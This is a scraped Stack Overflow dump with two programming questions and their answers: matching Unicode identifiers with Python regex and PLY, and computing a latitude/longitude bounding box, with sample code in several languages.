<p>I'm matching identifiers, but now I have a problem: my identifiers are allowed to contain unicode characters. Therefore the old way to do things is not enough:</p> <pre><code>t_IDENTIFIER = r"[A-Za-z](\\.|[A-Za-z_0-9])*" </code></pre> <p>In <a href="http://freehg.org/u/cheery/aml/" rel="nofollow noreferrer">my markup language</a> parser I match unicode characters by allowing all the characters except those I explicitly use, because my markup language only has two or three of characters I need to escape that way.</p> <p>How do I match all unicode characters with python regexs and ply? Also is this a good idea at all?</p> <p>I'd want to let people use identifiers like Ω » « ° foo² väli π as an identifiers (variable names and such) in their programs. Heck! I want that people could write programs in their own language if it's practical! Anyway unicode is supported nowadays in wide variety of places, and it should spread.</p> <p>Edit: POSIX character classes doesnt seem to be recognised by python regexes.</p> <pre><code>&gt;&gt;&gt; import re &gt;&gt;&gt; item = re.compile(r'[[:word:]]') &gt;&gt;&gt; print item.match('e') None </code></pre> <p>Edit: To explain better what I need. I'd need a regex -thing that matches all the unicode printable characters but not ASCII characters at all.</p> <p>Edit: r"\w" does a bit stuff what I want, but it does not match « », and I also need a regex that does not match numbers.</p>
[ { "answer_id": 238227, "author": "Tomalak", "author_id": 18771, "author_profile": "https://Stackoverflow.com/users/18771", "pm_score": 0, "selected": false, "text": "<p>Probably <a href=\"http://www.regular-expressions.info/posixbrackets.html\" rel=\"nofollow noreferrer\">POSIX character classes</a> are right for you?</p>\n" }, { "answer_id": 238257, "author": "Vinko Vrsalovic", "author_id": 5190, "author_profile": "https://Stackoverflow.com/users/5190", "pm_score": 1, "selected": false, "text": "<p>Check the answers to this question</p>\n\n<p><a href=\"https://stackoverflow.com/questions/92438/stripping-non-printable-characters-from-a-string-in-python\">Stripping non printable characters from a string in python</a></p>\n\n<p>you'd just need to use the other unicode character categories instead</p>\n" }, { "answer_id": 238293, "author": "Cheery", "author_id": 21711, "author_profile": "https://Stackoverflow.com/users/21711", "pm_score": 1, "selected": false, "text": "<p>Solved it with the help of Vinko.</p>\n\n<p>I realised that getting unicode range is plain dumb. So I'll do this:</p>\n\n<pre><code>symbols = re.escape(''.join([chr(i) for i in xrange(33, 127) if not chr(i).isalnum()]))\nsymnums = re.escape(''.join([chr(i) for i in xrange(33, 127) if not chr(i).isalnum()]))\n\nt_IDENTIFIER = \"[^%s](\\\\.|[^%s])*\" % (symnums, symbols)\n</code></pre>\n\n<p>I don't know about unicode character classses. If this unicode stuff starts getting too complicated, I can just put the original one in place. UTF-8 support still ensures the support is on at the STRING tokens, which is more important.</p>\n\n<p>Edit: On other hand, I start understanding why there's not much unicode support in programming languages.. This is an ugly hack, not a satisfying solution.</p>\n" }, { "answer_id": 238646, "author": "Florian Bösch", "author_id": 19435, "author_profile": "https://Stackoverflow.com/users/19435", "pm_score": 4, "selected": true, "text": "<p>the <a href=\"http://docs.python.org/library/re#regular-expression-syntax\" rel=\"noreferrer\">re</a> module supports the \\w syntax which:</p>\n\n<blockquote>\n <p>If UNICODE is set, this will match the\n characters [0-9_] plus whatever is\n classified as alphanumeric in the\n Unicode character properties database.</p>\n</blockquote>\n\n<p>therefore the following examples shows how to match unicode identifiers:</p>\n\n<pre><code>&gt;&gt;&gt; import re\n&gt;&gt;&gt; m = re.compile('(?u)[^\\W0-9]\\w*')\n&gt;&gt;&gt; m.match('a')\n&lt;_sre.SRE_Match object at 0xb7d75410&gt;\n&gt;&gt;&gt; m.match('9')\n&gt;&gt;&gt; m.match('ab')\n&lt;_sre.SRE_Match object at 0xb7c258e0&gt;\n&gt;&gt;&gt; m.match('a9')\n&lt;_sre.SRE_Match object at 0xb7d75410&gt;\n&gt;&gt;&gt; m.match('unicöde')\n&lt;_sre.SRE_Match object at 0xb7c258e0&gt;\n&gt;&gt;&gt; m.match('ödipus')\n&lt;_sre.SRE_Match object at 0xb7d75410&gt;\n</code></pre>\n\n<p>So the expression you look for is: (?u)[^\\W0-9]\\w*</p>\n" }, { "answer_id": 8502908, "author": "Stan", "author_id": 471393, "author_profile": "https://Stackoverflow.com/users/471393", "pm_score": 2, "selected": false, "text": "<p>You need pass pass parameter reflags in lex.lex:</p>\n\n<pre><code>lex.lex(reflags=re.UNICODE)\n</code></pre>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238223", "https://Stackoverflow.com", "https://Stackoverflow.com/users/21711/" ]
I'm matching identifiers, but now I have a problem: my identifiers are allowed to contain unicode characters. Therefore the old way to do things is not enough: ``` t_IDENTIFIER = r"[A-Za-z](\\.|[A-Za-z_0-9])*" ``` In [my markup language](http://freehg.org/u/cheery/aml/) parser I match unicode characters by allowing all the characters except those I explicitly use, because my markup language only has two or three of characters I need to escape that way. How do I match all unicode characters with python regexs and ply? Also is this a good idea at all? I'd want to let people use identifiers like Ω » « ° foo² väli π as an identifiers (variable names and such) in their programs. Heck! I want that people could write programs in their own language if it's practical! Anyway unicode is supported nowadays in wide variety of places, and it should spread. Edit: POSIX character classes doesnt seem to be recognised by python regexes. ``` >>> import re >>> item = re.compile(r'[[:word:]]') >>> print item.match('e') None ``` Edit: To explain better what I need. I'd need a regex -thing that matches all the unicode printable characters but not ASCII characters at all. Edit: r"\w" does a bit stuff what I want, but it does not match « », and I also need a regex that does not match numbers.
the [re](http://docs.python.org/library/re#regular-expression-syntax) module supports the \w syntax which: > > If UNICODE is set, this will match the > characters [0-9\_] plus whatever is > classified as alphanumeric in the > Unicode character properties database. > > > therefore the following examples shows how to match unicode identifiers: ``` >>> import re >>> m = re.compile('(?u)[^\W0-9]\w*') >>> m.match('a') <_sre.SRE_Match object at 0xb7d75410> >>> m.match('9') >>> m.match('ab') <_sre.SRE_Match object at 0xb7c258e0> >>> m.match('a9') <_sre.SRE_Match object at 0xb7d75410> >>> m.match('unicöde') <_sre.SRE_Match object at 0xb7c258e0> >>> m.match('ödipus') <_sre.SRE_Match object at 0xb7d75410> ``` So the expression you look for is: (?u)[^\W0-9]\w\*
238,260
<p>I have given a location defined by latitude and longitude. Now i want to calculate a bounding box within e.g. 10 kilometers of that point.</p> <p>The bounding box should be defined as latmin, lngmin and latmax, lngmax.</p> <p>I need this stuff in order to use the <a href="http://www.panoramio.com/api/" rel="noreferrer">panoramio API</a>.</p> <p>Does someone know the formula of how to get thos points?</p> <p><strong>Edit:</strong> Guys i am looking for a formula/function which takes lat &amp; lng as input and returns a bounding box as latmin &amp; lngmin and latmax &amp; latmin. Mysql, php, c#, javascript is fine but also pseudocode should be okay.</p> <p><strong>Edit:</strong> I am not looking for a solution which shows me the distance of 2 points</p>
[ { "answer_id": 238278, "author": "jcoby", "author_id": 2884, "author_profile": "https://Stackoverflow.com/users/2884", "pm_score": 3, "selected": false, "text": "<p>You're looking for an ellipsoid formula. </p>\n\n<p>The best place I've found to start coding is based on the Geo::Ellipsoid library from CPAN. It gives you a baseline to create your tests off of and to compare your results with its results. I used it as the basis for a similar library for PHP at my previous employer.</p>\n\n<p><a href=\"http://metacpan.org/pod/Geo::Ellipsoid\" rel=\"nofollow noreferrer\">Geo::Ellipsoid</a></p>\n\n<p>Take a look at the <code>location</code> method. Call it twice and you've got your bbox.</p>\n\n<p>You didn't post what language you were using. There may already be a geocoding library available for you.</p>\n\n<p>Oh, and if you haven't figured it out by now, Google maps uses the WGS84 ellipsoid.</p>\n" }, { "answer_id": 238558, "author": "Federico A. Ramponi", "author_id": 18770, "author_profile": "https://Stackoverflow.com/users/18770", "pm_score": 7, "selected": true, "text": "<p>I suggest to approximate locally the Earth surface as a sphere with radius given by the WGS84 ellipsoid at the given latitude. I suspect that the exact computation of latMin and latMax would require elliptic functions and would not yield an appreciable increase in accuracy (WGS84 is itself an approximation).</p>\n\n<p>My implementation follows (It's written in Python; I have not tested it):</p>\n\n\n\n<pre class=\"lang-py prettyprint-override\"><code># degrees to radians\ndef deg2rad(degrees):\n return math.pi*degrees/180.0\n# radians to degrees\ndef rad2deg(radians):\n return 180.0*radians/math.pi\n\n# Semi-axes of WGS-84 geoidal reference\nWGS84_a = 6378137.0 # Major semiaxis [m]\nWGS84_b = 6356752.3 # Minor semiaxis [m]\n\n# Earth radius at a given latitude, according to the WGS-84 ellipsoid [m]\ndef WGS84EarthRadius(lat):\n # http://en.wikipedia.org/wiki/Earth_radius\n An = WGS84_a*WGS84_a * math.cos(lat)\n Bn = WGS84_b*WGS84_b * math.sin(lat)\n Ad = WGS84_a * math.cos(lat)\n Bd = WGS84_b * math.sin(lat)\n return math.sqrt( (An*An + Bn*Bn)/(Ad*Ad + Bd*Bd) )\n\n# Bounding box surrounding the point at given coordinates,\n# assuming local approximation of Earth surface as a sphere\n# of radius given by WGS84\ndef boundingBox(latitudeInDegrees, longitudeInDegrees, halfSideInKm):\n lat = deg2rad(latitudeInDegrees)\n lon = deg2rad(longitudeInDegrees)\n halfSide = 1000*halfSideInKm\n\n # Radius of Earth at given latitude\n radius = WGS84EarthRadius(lat)\n # Radius of the parallel at given latitude\n pradius = radius*math.cos(lat)\n\n latMin = lat - halfSide/radius\n latMax = lat + halfSide/radius\n lonMin = lon - halfSide/pradius\n lonMax = lon + halfSide/pradius\n\n return (rad2deg(latMin), rad2deg(lonMin), rad2deg(latMax), rad2deg(lonMax))\n</code></pre>\n\n<p>EDIT: The following code converts (degrees, primes, seconds) to degrees + fractions of a degree, and vice versa (not tested):</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>def dps2deg(degrees, primes, seconds):\n return degrees + primes/60.0 + seconds/3600.0\n\ndef deg2dps(degrees):\n intdeg = math.floor(degrees)\n primes = (degrees - intdeg)*60.0\n intpri = math.floor(primes)\n seconds = (primes - intpri)*60.0\n intsec = round(seconds)\n return (int(intdeg), int(intpri), int(intsec))\n</code></pre>\n" }, { "answer_id": 2913331, "author": "Jan Philip Matuschek", "author_id": 350930, "author_profile": "https://Stackoverflow.com/users/350930", "pm_score": 6, "selected": false, "text": "<p>I wrote an article about finding the bounding coordinates:</p>\n\n<p><a href=\"http://JanMatuschek.de/LatitudeLongitudeBoundingCoordinates\" rel=\"noreferrer\">http://JanMatuschek.de/LatitudeLongitudeBoundingCoordinates</a></p>\n\n<p>The article explains the formulae and also provides a Java implementation. (It also shows why Federico's formula for the min/max longitude is inaccurate.)</p>\n" }, { "answer_id": 8195239, "author": "Richard", "author_id": 492132, "author_profile": "https://Stackoverflow.com/users/492132", "pm_score": 3, "selected": false, "text": "<p>I adapted a PHP script I found to do just this. You can use it to find the corners of a box around a point (say, 20 km out). My specific example is for Google Maps API:</p>\n\n<p><a href=\"http://www.richardpeacock.com/blog/2011/11/draw-box-around-coordinate-google-maps-based-miles-or-kilometers\" rel=\"noreferrer\">http://www.richardpeacock.com/blog/2011/11/draw-box-around-coordinate-google-maps-based-miles-or-kilometers</a></p>\n" }, { "answer_id": 14314146, "author": "Ε Г И І И О", "author_id": 687190, "author_profile": "https://Stackoverflow.com/users/687190", "pm_score": 5, "selected": false, "text": "<p>Here I have converted Federico A. Ramponi's answer to C# for anybody interested:</p>\n\n<pre><code>public class MapPoint\n{\n public double Longitude { get; set; } // In Degrees\n public double Latitude { get; set; } // In Degrees\n}\n\npublic class BoundingBox\n{\n public MapPoint MinPoint { get; set; }\n public MapPoint MaxPoint { get; set; }\n} \n\n// Semi-axes of WGS-84 geoidal reference\nprivate const double WGS84_a = 6378137.0; // Major semiaxis [m]\nprivate const double WGS84_b = 6356752.3; // Minor semiaxis [m]\n\n// 'halfSideInKm' is the half length of the bounding box you want in kilometers.\npublic static BoundingBox GetBoundingBox(MapPoint point, double halfSideInKm)\n{ \n // Bounding box surrounding the point at given coordinates,\n // assuming local approximation of Earth surface as a sphere\n // of radius given by WGS84\n var lat = Deg2rad(point.Latitude);\n var lon = Deg2rad(point.Longitude);\n var halfSide = 1000 * halfSideInKm;\n\n // Radius of Earth at given latitude\n var radius = WGS84EarthRadius(lat);\n // Radius of the parallel at given latitude\n var pradius = radius * Math.Cos(lat);\n\n var latMin = lat - halfSide / radius;\n var latMax = lat + halfSide / radius;\n var lonMin = lon - halfSide / pradius;\n var lonMax = lon + halfSide / pradius;\n\n return new BoundingBox { \n MinPoint = new MapPoint { Latitude = Rad2deg(latMin), Longitude = Rad2deg(lonMin) },\n MaxPoint = new MapPoint { Latitude = Rad2deg(latMax), Longitude = Rad2deg(lonMax) }\n }; \n}\n\n// degrees to radians\nprivate static double Deg2rad(double degrees)\n{\n return Math.PI * degrees / 180.0;\n}\n\n// radians to degrees\nprivate static double Rad2deg(double radians)\n{\n return 180.0 * radians / Math.PI;\n}\n\n// Earth radius at a given latitude, according to the WGS-84 ellipsoid [m]\nprivate static double WGS84EarthRadius(double lat)\n{\n // http://en.wikipedia.org/wiki/Earth_radius\n var An = WGS84_a * WGS84_a * Math.Cos(lat);\n var Bn = WGS84_b * WGS84_b * Math.Sin(lat);\n var Ad = WGS84_a * Math.Cos(lat);\n var Bd = WGS84_b * Math.Sin(lat);\n return Math.Sqrt((An*An + Bn*Bn) / (Ad*Ad + Bd*Bd));\n}\n</code></pre>\n" }, { "answer_id": 19489467, "author": "kahna9", "author_id": 2890967, "author_profile": "https://Stackoverflow.com/users/2890967", "pm_score": 0, "selected": false, "text": "<p>It is very simple just go to panoramio website and then open World Map from panoramio website.Then go to specified location whichs latitude and longitude required.</p>\n\n<p>Then you found latitude and longitude in address bar for example in this address.</p>\n\n<p><a href=\"http://www.panoramio.com/map#lt=32.739485&amp;ln=70.491211&amp;z=9&amp;k=1&amp;a=1&amp;tab=1&amp;pl=all\" rel=\"nofollow\">http://www.panoramio.com/map#lt=32.739485&amp;ln=70.491211&amp;z=9&amp;k=1&amp;a=1&amp;tab=1&amp;pl=all</a></p>\n\n<p>lt=32.739485 =>latitude\nln=70.491211 =>longitude</p>\n\n<p>this Panoramio JavaScript API widget create a bounding box around a lat/long pair and then returning all photos with in those bounds.</p>\n\n<p>Another type of Panoramio JavaScript API widget in which you can also change background color with <a href=\"http://codespk.blogspot.com/2013/10/panoramio-javascript-api-widget-example.html\" rel=\"nofollow\">example and code is here</a>.</p>\n\n<p>It does not show in composing mood.It show after publishing.</p>\n\n<pre><code>&lt;div dir=\"ltr\" style=\"text-align: center;\" trbidi=\"on\"&gt;\n&lt;script src=\"https://ssl.panoramio.com/wapi/wapi.js?v=1&amp;amp;hl=en\"&gt;&lt;/script&gt;\n&lt;div id=\"wapiblock\" style=\"float: right; margin: 10px 15px\"&gt;&lt;/div&gt;\n&lt;script type=\"text/javascript\"&gt;\nvar myRequest = {\n 'tag': 'kahna',\n 'rect': {'sw': {'lat': -30, 'lng': 10.5}, 'ne': {'lat': 50.5, 'lng': 30}}\n};\n var myOptions = {\n 'width': 300,\n 'height': 200\n};\nvar wapiblock = document.getElementById('wapiblock');\nvar photo_widget = new panoramio.PhotoWidget('wapiblock', myRequest, myOptions);\nphoto_widget.setPosition(0);\n&lt;/script&gt;\n&lt;/div&gt;\n</code></pre>\n" }, { "answer_id": 19641738, "author": "Greg Beck", "author_id": 2929171, "author_profile": "https://Stackoverflow.com/users/2929171", "pm_score": 1, "selected": false, "text": "<p>I was working on the bounding box problem as a side issue to finding all the points within SrcRad radius of a static LAT, LONG point. There have been quite a few calculations that use</p>\n\n<pre><code>maxLon = $lon + rad2deg($rad/$R/cos(deg2rad($lat)));\nminLon = $lon - rad2deg($rad/$R/cos(deg2rad($lat)));\n</code></pre>\n\n<p>to calculate the longitude bounds, but I found this to not give all the answers that were needed. Because what you really want to do is </p>\n\n<pre><code>(SrcRad/RadEarth)/cos(deg2rad(lat))\n</code></pre>\n\n<p>I know, I know the answer should be the same, but I found that it wasn't. It appeared that by not making sure I was doing the (SRCrad/RadEarth) First and then dividing by the Cos part I was leaving out some location points. </p>\n\n<p>After you get all your bounding box points, if you have a function that calculates the Point to Point Distance given lat, long it is easy to only get those points that are a certain distance radius from the fixed point. Here is what I did.\nI know it took a few extra steps but it helped me</p>\n\n<pre><code>-- GLOBAL Constants\ngc_pi CONSTANT REAL := 3.14159265359; -- Pi\n\n-- Conversion Factor Constants\ngc_rad_to_degs CONSTANT NUMBER := 180/gc_pi; -- Conversion for Radians to Degrees 180/pi\ngc_deg_to_rads CONSTANT NUMBER := gc_pi/180; --Conversion of Degrees to Radians\n\nlv_stat_lat -- The static latitude point that I am searching from \nlv_stat_long -- The static longitude point that I am searching from \n\n-- Angular radius ratio in radians\nlv_ang_radius := lv_search_radius / lv_earth_radius;\nlv_bb_maxlat := lv_stat_lat + (gc_rad_to_deg * lv_ang_radius);\nlv_bb_minlat := lv_stat_lat - (gc_rad_to_deg * lv_ang_radius);\n\n--Here's the tricky part, accounting for the Longitude getting smaller as we move up the latitiude scale\n-- I seperated the parts of the equation to make it easier to debug and understand\n-- I may not be a smart man but I know what the right answer is... :-)\n\nlv_int_calc := gc_deg_to_rads * lv_stat_lat;\nlv_int_calc := COS(lv_int_calc);\nlv_int_calc := lv_ang_radius/lv_int_calc;\nlv_int_calc := gc_rad_to_degs*lv_int_calc;\n\nlv_bb_maxlong := lv_stat_long + lv_int_calc;\nlv_bb_minlong := lv_stat_long - lv_int_calc;\n\n-- Now select the values from your location datatable \nSELECT * FROM (\nSELECT cityaliasname, city, state, zipcode, latitude, longitude, \n-- The actual distance in miles\nspherecos_pnttopntdist(lv_stat_lat, lv_stat_long, latitude, longitude, 'M') as miles_dist \nFROM Location_Table \nWHERE latitude between lv_bb_minlat AND lv_bb_maxlat\nAND longitude between lv_bb_minlong and lv_bb_maxlong)\nWHERE miles_dist &lt;= lv_limit_distance_miles\norder by miles_dist\n;\n</code></pre>\n" }, { "answer_id": 25025590, "author": "asalisbury", "author_id": 1000482, "author_profile": "https://Stackoverflow.com/users/1000482", "pm_score": 4, "selected": false, "text": "<p>I wrote a JavaScript function that returns the four coordinates of a square bounding box, given a distance and a pair of coordinates:</p>\n\n<pre><code>'use strict';\n\n/**\n * @param {number} distance - distance (km) from the point represented by centerPoint\n * @param {array} centerPoint - two-dimensional array containing center coords [latitude, longitude]\n * @description\n * Computes the bounding coordinates of all points on the surface of a sphere\n * that has a great circle distance to the point represented by the centerPoint\n * argument that is less or equal to the distance argument.\n * Technique from: Jan Matuschek &lt;http://JanMatuschek.de/LatitudeLongitudeBoundingCoordinates&gt;\n * @author Alex Salisbury\n*/\n\ngetBoundingBox = function (centerPoint, distance) {\n var MIN_LAT, MAX_LAT, MIN_LON, MAX_LON, R, radDist, degLat, degLon, radLat, radLon, minLat, maxLat, minLon, maxLon, deltaLon;\n if (distance &lt; 0) {\n return 'Illegal arguments';\n }\n // helper functions (degrees&lt;–&gt;radians)\n Number.prototype.degToRad = function () {\n return this * (Math.PI / 180);\n };\n Number.prototype.radToDeg = function () {\n return (180 * this) / Math.PI;\n };\n // coordinate limits\n MIN_LAT = (-90).degToRad();\n MAX_LAT = (90).degToRad();\n MIN_LON = (-180).degToRad();\n MAX_LON = (180).degToRad();\n // Earth's radius (km)\n R = 6378.1;\n // angular distance in radians on a great circle\n radDist = distance / R;\n // center point coordinates (deg)\n degLat = centerPoint[0];\n degLon = centerPoint[1];\n // center point coordinates (rad)\n radLat = degLat.degToRad();\n radLon = degLon.degToRad();\n // minimum and maximum latitudes for given distance\n minLat = radLat - radDist;\n maxLat = radLat + radDist;\n // minimum and maximum longitudes for given distance\n minLon = void 0;\n maxLon = void 0;\n // define deltaLon to help determine min and max longitudes\n deltaLon = Math.asin(Math.sin(radDist) / Math.cos(radLat));\n if (minLat &gt; MIN_LAT &amp;&amp; maxLat &lt; MAX_LAT) {\n minLon = radLon - deltaLon;\n maxLon = radLon + deltaLon;\n if (minLon &lt; MIN_LON) {\n minLon = minLon + 2 * Math.PI;\n }\n if (maxLon &gt; MAX_LON) {\n maxLon = maxLon - 2 * Math.PI;\n }\n }\n // a pole is within the given distance\n else {\n minLat = Math.max(minLat, MIN_LAT);\n maxLat = Math.min(maxLat, MAX_LAT);\n minLon = MIN_LON;\n maxLon = MAX_LON;\n }\n return [\n minLon.radToDeg(),\n minLat.radToDeg(),\n maxLon.radToDeg(),\n maxLat.radToDeg()\n ];\n};\n</code></pre>\n" }, { "answer_id": 36441808, "author": "Alex Punnen", "author_id": 429476, "author_profile": "https://Stackoverflow.com/users/429476", "pm_score": 3, "selected": false, "text": "<p>Illustration of @Jan Philip Matuschek excellent explanation.(Please up-vote his answer, not this; I am adding this as I took a little time in understanding the original answer)</p>\n\n<p>The bounding box technique of optimizing of finding nearest neighbors would need to derive the minimum and maximum latitude,longitude pairs, for a point P at distance d . All points that fall outside these are definitely at a distance greater than d from the point.\nOne thing to note here is the calculation of latitude of intersection as is highlighted in Jan Philip Matuschek explanation. The latitude of intersection is not at the latitude of point P but slightly offset from it. This is a often missed but important part in determining the correct minimum and maximum bounding longitude for point P for the distance d.This is also useful in verification. </p>\n\n<p>The haversine distance between (latitude of intersection,longitude high) to (latitude,longitude) of P is equal to distance d.</p>\n\n<p>Python gist here <a href=\"https://gist.github.com/alexcpn/f95ae83a7ee0293a5225\" rel=\"noreferrer\">https://gist.github.com/alexcpn/f95ae83a7ee0293a5225</a></p>\n\n<p><a href=\"https://i.stack.imgur.com/XUnbL.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/XUnbL.png\" alt=\"enter image description here\"></a></p>\n" }, { "answer_id": 39037262, "author": "Joe Black", "author_id": 1208966, "author_profile": "https://Stackoverflow.com/users/1208966", "pm_score": 1, "selected": false, "text": "<p>Here I have converted Federico A. Ramponi's answer to PHP if anybody is interested:</p>\n\n<pre><code>&lt;?php\n# deg2rad and rad2deg are already within PHP\n\n# Semi-axes of WGS-84 geoidal reference\n$WGS84_a = 6378137.0; # Major semiaxis [m]\n$WGS84_b = 6356752.3; # Minor semiaxis [m]\n\n# Earth radius at a given latitude, according to the WGS-84 ellipsoid [m]\nfunction WGS84EarthRadius($lat)\n{\n global $WGS84_a, $WGS84_b;\n\n $an = $WGS84_a * $WGS84_a * cos($lat);\n $bn = $WGS84_b * $WGS84_b * sin($lat);\n $ad = $WGS84_a * cos($lat);\n $bd = $WGS84_b * sin($lat);\n\n return sqrt(($an*$an + $bn*$bn)/($ad*$ad + $bd*$bd));\n}\n\n# Bounding box surrounding the point at given coordinates,\n# assuming local approximation of Earth surface as a sphere\n# of radius given by WGS84\nfunction boundingBox($latitudeInDegrees, $longitudeInDegrees, $halfSideInKm)\n{\n $lat = deg2rad($latitudeInDegrees);\n $lon = deg2rad($longitudeInDegrees);\n $halfSide = 1000 * $halfSideInKm;\n\n # Radius of Earth at given latitude\n $radius = WGS84EarthRadius($lat);\n # Radius of the parallel at given latitude\n $pradius = $radius*cos($lat);\n\n $latMin = $lat - $halfSide / $radius;\n $latMax = $lat + $halfSide / $radius;\n $lonMin = $lon - $halfSide / $pradius;\n $lonMax = $lon + $halfSide / $pradius;\n\n return array(rad2deg($latMin), rad2deg($lonMin), rad2deg($latMax), rad2deg($lonMax));\n}\n?&gt;\n</code></pre>\n" }, { "answer_id": 39292616, "author": "Ajay", "author_id": 1621208, "author_profile": "https://Stackoverflow.com/users/1621208", "pm_score": 4, "selected": false, "text": "<p>Since I needed a very rough estimate, so to filter out some needless documents in an elasticsearch query, I employed the below formula: </p>\n\n<pre><code>Min.lat = Given.Lat - (0.009 x N)\nMax.lat = Given.Lat + (0.009 x N)\nMin.lon = Given.lon - (0.009 x N)\nMax.lon = Given.lon + (0.009 x N)\n</code></pre>\n\n<p>N = kms required form the given location. For your case N=10</p>\n\n<p>Not accurate but handy. </p>\n" }, { "answer_id": 41298946, "author": "Noushad", "author_id": 5466933, "author_profile": "https://Stackoverflow.com/users/5466933", "pm_score": 4, "selected": false, "text": "<p>Here is an simple implementation using javascript which is based on the conversion of latitude degree to kms where <code>1 degree latitude ~ 111.2 km</code>.</p>\n<p>I am calculating bounds of the map from a given latitude, longitude and radius in kilometers.</p>\n<pre><code>function getBoundsFromLatLng(lat, lng, radiusInKm){\n var lat_change = radiusInKm/111.2;\n var lon_change = Math.abs(Math.cos(lat*(Math.PI/180)));\n var bounds = { \n lat_min : lat - lat_change,\n lon_min : lng - lon_change,\n lat_max : lat + lat_change,\n lon_max : lng + lon_change\n };\n return bounds;\n}\n</code></pre>\n" }, { "answer_id": 45183958, "author": "Jesuslg123", "author_id": 1600491, "author_profile": "https://Stackoverflow.com/users/1600491", "pm_score": 1, "selected": false, "text": "<p>Thanks @Fedrico A. for the Phyton implementation, I have ported it into a Objective C category class. Here is:</p>\n\n<pre><code>#import \"LocationService+Bounds.h\"\n\n//Semi-axes of WGS-84 geoidal reference\nconst double WGS84_a = 6378137.0; //Major semiaxis [m]\nconst double WGS84_b = 6356752.3; //Minor semiaxis [m]\n\n@implementation LocationService (Bounds)\n\nstruct BoundsLocation {\n double maxLatitude;\n double minLatitude;\n double maxLongitude;\n double minLongitude;\n};\n\n+ (struct BoundsLocation)locationBoundsWithLatitude:(double)aLatitude longitude:(double)aLongitude maxDistanceKm:(NSInteger)aMaxKmDistance {\n return [self boundingBoxWithLatitude:aLatitude longitude:aLongitude halfDistanceKm:aMaxKmDistance/2];\n}\n\n#pragma mark - Algorithm \n\n+ (struct BoundsLocation)boundingBoxWithLatitude:(double)aLatitude longitude:(double)aLongitude halfDistanceKm:(double)aDistanceKm {\n double radianLatitude = [self degreesToRadians:aLatitude];\n double radianLongitude = [self degreesToRadians:aLongitude];\n double halfDistanceMeters = aDistanceKm*1000;\n\n\n double earthRadius = [self earthRadiusAtLatitude:radianLatitude];\n double parallelRadius = earthRadius*cosl(radianLatitude);\n\n double radianMinLatitude = radianLatitude - halfDistanceMeters/earthRadius;\n double radianMaxLatitude = radianLatitude + halfDistanceMeters/earthRadius;\n double radianMinLongitude = radianLongitude - halfDistanceMeters/parallelRadius;\n double radianMaxLongitude = radianLongitude + halfDistanceMeters/parallelRadius;\n\n struct BoundsLocation bounds;\n bounds.minLatitude = [self radiansToDegrees:radianMinLatitude];\n bounds.maxLatitude = [self radiansToDegrees:radianMaxLatitude];\n bounds.minLongitude = [self radiansToDegrees:radianMinLongitude];\n bounds.maxLongitude = [self radiansToDegrees:radianMaxLongitude];\n\n return bounds;\n}\n\n+ (double)earthRadiusAtLatitude:(double)aRadianLatitude {\n double An = WGS84_a * WGS84_a * cosl(aRadianLatitude);\n double Bn = WGS84_b * WGS84_b * sinl(aRadianLatitude);\n double Ad = WGS84_a * cosl(aRadianLatitude);\n double Bd = WGS84_b * sinl(aRadianLatitude);\n return sqrtl( ((An * An) + (Bn * Bn))/((Ad * Ad) + (Bd * Bd)) );\n}\n\n+ (double)degreesToRadians:(double)aDegrees {\n return M_PI*aDegrees/180.0;\n}\n\n+ (double)radiansToDegrees:(double)aRadians {\n return 180.0*aRadians/M_PI;\n}\n\n\n\n@end\n</code></pre>\n\n<p>I have tested it and seems be working nice.\nStruct BoundsLocation should be replaced by a class, I have used it just to share it here.</p>\n" }, { "answer_id": 45950371, "author": "Sacky San", "author_id": 5076414, "author_profile": "https://Stackoverflow.com/users/5076414", "pm_score": 0, "selected": false, "text": "<p><strong>All of the above answer are only partially correct</strong>. Specially in region like Australia, they always include pole and calculate a very large rectangle even for 10kms. </p>\n\n<p>Specially the algorithm by Jan Philip Matuschek at <a href=\"http://janmatuschek.de/LatitudeLongitudeBoundingCoordinates#UsingIndex\" rel=\"nofollow noreferrer\">http://janmatuschek.de/LatitudeLongitudeBoundingCoordinates#UsingIndex</a> included a very large rectangle from (-37, -90, -180, 180) for almost every point in Australia. This hits a large users in database and distance have to be calculated for all of the users in almost half the country.</p>\n\n<p>I found that the <strong>Drupal API Earth Algorithm by Rochester Institute of Technology</strong> works better around pole as well as elsewhere and is much easier to implement.</p>\n\n<p><a href=\"https://www.rit.edu/drupal/api/drupal/sites%21all%21modules%21location%21earth.inc/7.54\" rel=\"nofollow noreferrer\">https://www.rit.edu/drupal/api/drupal/sites%21all%21modules%21location%21earth.inc/7.54</a></p>\n\n<p>Use <code>earth_latitude_range</code> and <code>earth_longitude_range</code> from the above algorithm for calculating bounding rectangle </p>\n\n<p>And use the <strong>distance calculation formula documented by google maps</strong> to calculate distance</p>\n\n<p><a href=\"https://developers.google.com/maps/solutions/store-locator/clothing-store-locator#outputting-data-as-xml-using-php\" rel=\"nofollow noreferrer\">https://developers.google.com/maps/solutions/store-locator/clothing-store-locator#outputting-data-as-xml-using-php</a></p>\n\n<p>To search by kilometers instead of miles, replace 3959 with 6371.\n<em>For (Lat, Lng) = (37, -122) and a Markers table with columns lat and lng</em>, the formula is:</p>\n\n<pre><code>SELECT id, ( 3959 * acos( cos( radians(37) ) * cos( radians( lat ) ) * cos( radians( lng ) - radians(-122) ) + sin( radians(37) ) * sin( radians( lat ) ) ) ) AS distance FROM markers HAVING distance &lt; 25 ORDER BY distance LIMIT 0 , 20;\n</code></pre>\n\n<p>Read my detailed answer at <a href=\"https://stackoverflow.com/a/45950426/5076414\">https://stackoverflow.com/a/45950426/5076414</a></p>\n" }, { "answer_id": 47022562, "author": "sma", "author_id": 306999, "author_profile": "https://Stackoverflow.com/users/306999", "pm_score": 0, "selected": false, "text": "<p>Here is Federico Ramponi's answer in Go. Note: no error-checking :(</p>\n\n<pre><code>import (\n \"math\"\n)\n\n// Semi-axes of WGS-84 geoidal reference\nconst (\n // Major semiaxis (meters)\n WGS84A = 6378137.0\n // Minor semiaxis (meters)\n WGS84B = 6356752.3\n)\n\n// BoundingBox represents the geo-polygon that encompasses the given point and radius\ntype BoundingBox struct {\n LatMin float64\n LatMax float64\n LonMin float64\n LonMax float64\n}\n\n// Convert a degree value to radians\nfunc deg2Rad(deg float64) float64 {\n return math.Pi * deg / 180.0\n}\n\n// Convert a radian value to degrees\nfunc rad2Deg(rad float64) float64 {\n return 180.0 * rad / math.Pi\n}\n\n// Get the Earth's radius in meters at a given latitude based on the WGS84 ellipsoid\nfunc getWgs84EarthRadius(lat 